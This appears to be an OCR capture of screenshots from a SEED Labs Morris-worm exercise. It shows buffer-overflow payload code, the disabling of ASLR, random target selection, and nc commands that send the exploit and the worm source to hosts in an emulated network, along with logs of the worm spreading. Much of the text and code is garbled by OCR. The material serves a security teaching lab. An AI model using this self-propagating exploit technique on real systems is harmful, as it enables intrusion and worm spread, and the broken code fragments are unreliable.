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[03/30/25]seed@VM:~/.../map$ sudo /sbin/sysctl -w kernel.randomize va space=0
kernel.randomize va_space = 0
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[03/26/25]seed@VM:~/.../map$ docker logs -T ba

ready! run 'docker exec -it 6alafcf@afa7 /bin/zsh' to attach to this node
Starting stack
Input size: 6
Frame Pointer (ebp) inside bof():| Oxffffd5f8
Buffer's address inside bof(): Oxffffd588
:=== Returned Properly

IR 5 A TAE) 38 2 X i L

29# Create the badfile (the malicious payload)

30 def createBadfile():

31 content = bytearray(0x90 for i in range(500))

32 B & e e et il
33 # Put the shellcode at the end

34 content[500-1en(shellcode):] = shellcode

gg ret = Oxffffd5f8 + 40 # Need to change

37 offset = Oxffffd5f8 - Oxffffd588 + 4 # Need to change

gg' LT O ekgs oy teo (7 DYTEOTaeT=n Th L e )

42 # Save the binary code to file
43 with open('badfile’, 'wb') as f:
44 f.write(content)

45

BAT A BEAT Bk

[03/26/25]seed@VM:~/.../map$ docker logs -T ba

ready! run 'docker exec -it 6alafcf@afa7 /bin/zsh' to attach to this node
Starting stack

Input size: 6

Frame Pointer (ebp) inside bof(): Oxffffd5f8

Buffer's address inside bof(): Oxffffd588

r] Y ====

tarting stack
~ ™) Shellcode is running (™_7)
tarting stack

~ ™) Shellcode is running (™ ™)

EE =Xl
ERA,

" echo '(~_") Shellcode is running-(“_“)'f

EaL

|” nc -lnv 9999 > worm2.py && pwd
"123456789012345678901234567890123456789012345678901234567890"
# The last line (above) serves as a ruler, it is not used
) .encode('latin-1")




9T T e e , Tuusn=irue)
subprocess.run([f"cat badfile | nc -w5|{tatgetIP} 9090"], shell=True)

# Give the shellcode some time to run on the target host
time.sleep(l)
[subprocess.run([f'nc -w5 {targetIP} 9999 < worm2.py"], shell=True)

BATIIA

203f26f25]seed@UM:~f.;.fwérm$ p}thonB worm2.py

‘he worm has arrived on this host © *
€ 3 e s ok ok ok ok sk sk ok ok sk sk ok ok ok ok sk sk ok sk ko ok ok ok ok ok ok ok ok ok ok

»>>>> Attacking 10.151.0.71 <<<<<

@ 3 3k ok sk o ok o ok o ok ok ok ok ok ok ok o ok o ok ok ok ok sk ok ok ok ok ok ok ok ok

’ING 1.2.3.4 (1.2.3.4) 56(84) bytes of data.

[63/26/25]seed@VM:~/.../map$ docker logs - 6a
ready! run 'docker exec -it 6alafcf@afa7 /bin/zsh' to attach to this node
Starting stack
Input size: 6
Frame Pointer (ebp) inside bof(): Oxffffd5f8
Buffer's address inside bof(): Oxffffd588
==== Returned Properly ====
Starting stack
(® ~) Shellcode is running (~ ™)
Starting stack
(® ") Shellcode is running (~_")
Starting stack
(~ ) Shellcode is running (™~ )
Starting stack
(®_ ") Shellcode is running (~_")
Listening on 0.0.0.0 9999
Connection received on 10.151.0.1 34254
bof

ML A 10.151.0.71 #£/bof H % FA74E worm2.py 1F

® O ® = | 151/host_0

[ As151/host_o

10.151.0.71/24

(ESTHE



"'nc -lnv 9999 > worm3.py && python3 worm3.py o
"123456789012345678901234567890123456789012345678901234567890"
# The last line (above) serves as a ruler, it is not used

47 # Find the next victim (return an IP address).

48 # Check to make sure that the target is alive.

49 def getNextTarget():

50 a = randint(151,153)

51 b = randint(71,75)

52 ipaddr = f"10.{a}.0.{b}"

53 output = subprocess.check output(f'ping -gq -cl -Wl {ipaddr}",shell=True)
54 result = output.find(b'l received")

55 if result == -1:

56 print(f"{ipaddr} is not alive", flush=True)

57 else:

58 print(f"*** [ipaddr} is alive,launch the attack", flush=True})
59 return ipaddr

WA 24T firstpy JF R, S50 CPU fEAI=, k5] 100%
o bk

LLisLeninyg un v.v.v.9 9993

Connection received on 10.151.0.1 53086
The worm has arrived on this host ©~ ©

*** 10.153.0.75 is alive, launch the attack
e o o o e e e e e e e e e ok ok ke ke ok ok ok ke ke e ke ke ke ke ke ke ke ke ke ke ke

>>>>> Attacking 10.153.0.75 <<<<<
e o o o e e e e e e e e e ok ok ke ke ok ok ok ke ke e ke ke ke ke ke ke ke ke ke ke ke

seed@VM: ~/...fworm

seed@VM: ~/...

CPULTITIIIIEEEITII NI LT )] 84.1%] Tasks: 182, 667 thr; 1 running
MemD|JIILLLLLEEIDLTTT)]L.16G/1.94G] Load average: 1.82 0.68 0.84
Swpl||]]] 331M/2.00G] Uptime: 00:35:49
2545 seed 20 0 3626M 191M 73500 S 4.1 9.6 1:44.10 /usr/bin/gnome-
3350 seed 20 0 834M 36852 2872 S 4.1 1.8 0:04.94 docker-compose
6544 seed 20 0 834M 36852 2872 S 4.1 1.8 0:00.19 docker-compose
2204 seed 20 0 259M 47964 23900 S 2.8 2.4 0:38.63 /usr/lib/xorg/X
962 root 20 0 1209M 48360 9860 S 2.8 2.4 0:09.44 /usr/bin/docker
4702 root 20 0 1209M 48360 9860 S 2.1 2.4 0:00.94 /usr/bin/docker
3195 seed 20 0 1044M 55212 31256 S 1.4 2.7 0:09.44 /usr/libexec/gn
9019 seed 20 0 14216 4468 3228 R 1.4 0.2 0:06.24 htop
2210 seed 20 0 259M 47964 23900 S 1.4 2.4 0:05.56 /usr/lib/xorg/X
4604 root 20 0 106M 3500 2504 S 1.4 0.2 0:00.14 containerd-shim
4837 root 20 0 9600M 19724 5564 S 1.4 1.0 0:00.04 /usr/bin/contai
7432 root 20 0 615M 37892 16888 S 0.7 1.9 0:02.05 node ./bin/main
9923 seed 20 0 809M 43328 11860 S 0.7 2.1 0:00.46 docker-compose
4706 root 20 0 107M 3284 2396 S 0.7 0.2 0:00.12 containerd-shim
1242 root 20 0 1209M 48360 9860 S 0.7 2.4 9:02.40 /usr/bin/docker
4308 root 0 106M 3124 2244 S 0.7 0.2 0: 9 containerd-shim

00
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1p2/netd
10.15200,254/24
152/host_0 10.152,0.75/24 15¥m

151/host_%
10.151:0.74/24

Replay stopped

e | »

event interval (ms)
200 B

J Host: 152/host_6
ID: 828881badddc

ASN: 152

Name: host @

Role: Host

IP addresses
net@: 10.152.0.71/24

Actions
Launch console
Disconnect
Refresh

10.151.0.75/24

,151<Gﬂ3’/ﬁ<:>

152froute 10,
10.100)0,152/24
152/host_4 O}wiﬂm 151/host_2
10.100.0:1517"
/_DD 10.1510.71/24
/7710.100.0:100/24/ <, 151/routerd 10.151,0.72/24
A 4 NY%IOD
100/x100 10.100.0.153/24
151/host_0
151/host_1
158/router0
10.153.0.254/24
153/0gh 453.0 75724
10.,153.0r74f24<:>
10.153.6:72/24
153/host_3
153/host_1 10.153:0.71/24

10.153,0.73/z4

@

153/host_0
153/host_2

® ¥ 7 ® = | 152/host_0

| As152/host_8




6ldef createlLockFile():

62 lockfile = "/tmp/worm. lock”

63 if os.path.exists(lockfile):

64 print(“Lock file exists, exiting.")

65 sys.exit()

66 else:

67 open(lockfile, "w").close()

68 HH AR AR R R AR AR R R R R R AR A A
69

70print("The worm has arrived on this host ~ ~", flush=True)

71

72# This is for visualization. It sends an ICMP echo message to
73# a non-existing machine every 2 seconds.

74 subprocess.Popen(["“ping -q -i2 1.2.3.4"], shell=True)

75

76# Create the badfile

77 createBadfile|

78 createLockFile()

79# Launch the attack on other servers

BeA D FE AR, B817/E CPU A% —EREE 15-30%
KA
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seed@VM: ~/...fworm

seed@VM: ~/...

CPUL| |11 28.9%] Tasks: 348, 667 thr; 1 running
MemC| | [ILILIILLLIIDTT]2.37G/1.94G] Load average: 0.38 0.56 0.82
SwpL||]]] 332M/2.00G] Uptime: 00:34:57
2545 seed 20 0 3637M 201M 83660 S 12.7 10.1 1:40.31 /usr/bin/gnome-
2204 seed 20 O 309M 97740 49936 S 6.3 4.8 0:37.31 /usr/lib/xorg/X
7510 seed 20 0 2746M 233M 112M'S 5.6 11.8 0:33.40 fusr/lib/firefo
7442 seed 20 0 2972M 265M 139M S 2.8 13.4 0:25.54 /usr/lib/firefo
3195 seed 20 0 1042M 48088 26192 S 2.1 2.4 0:08.83 /usr/libexec/gn
7471 seed 20 0 2972M 265M 139M S 1.4 13.4 0:08.62 /usr/lib/firefo
962 root 20 0O 1209M 51724 9056 S 1.4 2.5 0:08.94 /usr/bin/docker
9019 seed 20 0 14216 4468 3228 R 0.7 0.2 0:05.79 htop
7470 seed 20 O 2972M 265M 139 S 0.7 13.4 0:03.80 /usr/lib/firefo
2904 seed 200 O 290M 16412 10680 S 0.7 0.8 0:03.67 /usr/bin/vmtool
2210 seed 20 O 309M 97740 49936 S 0.7 4.8 0:05.44 /usr/lib/xorg/X
4698 root 200 0 106M 2812 2280 S 0.7 0.1 0:00.05 containerd-shim
4775 root 200 0 1067M 3924 3160 S 0.7 0.2 0:00.06 containerd-shim
7331 seed 20 0 289M 34320 3408 S 0.0 1.7 0:02.72 docker-compose
7513 seed 20 0O 2746M 233M 112M S 0.0 11.8 0:01.30 /usr/lib/firefo
1242 root 20 0 1209M 51724 9056 S 0.0 2.5 0:02.23 /usr/bin/docker
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Reading package lists.

W: Failed to fetch http //archive.ubuntu.com/ubuntu/dists/focal/InRelease Tempo
rary failure resolving 'archive.ubuntu.com'

W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/focal-updates/InReleas

e Temporary failure resolving 'archive.ubuntu.com’

W: Failed to fetch http://archive.ubuntu.com/ubuntu/dists/focal-backports/InRele

ase Temporary failure resolving 'archive.ubuntu.com'

W: Failed to fetch http://security.ubuntu.com/ubuntu/dists/focal-security/InRele

ase Temporary failure resolving 'security.ubuntu.com'

W: Some index files failed to download. They have been ignored, or old ones used
instead.

Reading package lists...

Building dependency tree...

Reading state information...

E: Unable to locate package ipcalc

E: Unable to locate package jq

E: Unable to locate package termshark

[ P T (U N, (R (R R R R

R IrE: MR, 4% /etc/docker/daemon.json SCARFEER N
W% “dns:[<8.8.8.8”, 7114.114.114.114], f&x& DNS k5545



ERROR: for hnode 153 host © UnixHTTPConnectionPool(host='localhost', port=None)
: Read timed out. (read timeout=60)

ERROR: An HTTP request took too long to complete. Retry with --verbose to obtain
debug information.

If you encounter this issue regularly because of slow network conditions, consid

er setting COMPOSE HTTP TIMEOUT to a higher value (current value: 60).

MR % map Ha

Step 6/13 : RUN npm install

---> Running in be260ef01512
npm WARN read-shrinkwrap This version of npm is compatible with lockfileVersion@
1, but package-lock.json was generated for lockfileVersion@2. I'll try to do my
best with it!

> vis-data@7.1.2 postinstall /usr/src/app/frontend/node _modules/vis-data
> opencollective postinstall || exit @

sh: 1: opencollective: not found

> vis-network@9.0.4 postinstall /usr/src/app/frontend/node modules/vis-network
> opencollective postinstall || exit ©

sh: 1: opencollective: not found
npm WARN container-manager-client@0.0.1 No repository field.

added 156 packages from 269 contributors and audited 159 packages in 16.705s

T i
A% MR AN LR 2 5 W HH B AR DR 2% i i, 57 J sl BV ) i ko

1lversion: "3"

2

3services:

4 seedsim-client:

5 #build:

6 image: map seedsim-client:latest

7 container_name: seedsim-client

8 volumes:

9 - /var/run/docker.sock:/var/run/docker.sock
10 ports:

11 - 8080:8080
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